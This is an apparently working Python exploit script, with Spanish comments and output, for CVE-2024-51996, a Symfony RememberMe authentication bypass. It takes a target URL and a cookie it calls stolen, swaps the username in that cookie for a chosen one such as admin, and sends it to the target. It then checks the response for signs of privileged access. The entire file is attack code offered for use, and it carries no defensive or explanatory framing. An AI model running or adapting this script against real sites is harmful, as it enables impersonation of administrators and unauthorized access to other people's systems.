import requests import argparse import sys def banner(): print("==============================================") print(" Symfony RememberMe Exploit v2.0 ") print(" Explota el CVE-2024-51996 (bypass auth) ") print(" by m10sec | m10sec@proton.me ") print("==============================================\n") def parse_args(): parser = argparse.ArgumentParser(description="Exploit para CVE-2024-51996 - Symfony RememberMe token spoofing.") parser.add_argument("-u", "--url", required=True, help="URL objetivo (por ejemplo: https://victima.com)") parser.add_argument("-c", "--cookie", required=True, help="Cookie REMEMBERME robada (ej: User1:token:series:hash)") parser.add_argument("-s", "--spoof", required=True, help="Usuario a suplantar (ej: admin)") return parser.parse_args() def exploit(target_url, stolen_cookie, spoof_user): print(f"[*] URL objetivo: {target_url}") print(f"[*] Usuario a suplantar: {spoof_user}") if spoof_user not in stolen_cookie: # Suplantar al usuario original de la cookie robada try: original_user = stolen_cookie.split(":")[0] spoofed_cookie = stolen_cookie.replace(original_user, spoof_user, 1) except Exception: print("[-] Error al analizar la cookie robada.") sys.exit(1) else: spoofed_cookie = stolen_cookie print(f"[+] Cookie suplantada: {spoofed_cookie}") cookies = { "REMEMBERME": spoofed_cookie } try: r = requests.get(target_url, cookies=cookies, timeout=10, allow_redirects=True) except requests.exceptions.RequestException as e: print(f"[-] Error al realizar la petición: {e}") sys.exit(1) print(f"[+] Código HTTP recibido: {r.status_code}") if "admin" in r.text.lower() or "panel" in r.text.lower() or "dashboard" in r.text.lower(): print("[+] ¡Posible acceso como usuario privilegiado!") else: print("[-] El bypass no fue exitoso o la respuesta no lo evidencia.") if __name__ == "__main__": banner() args = parse_args() exploit(args.url, args.cookie, args.spoof)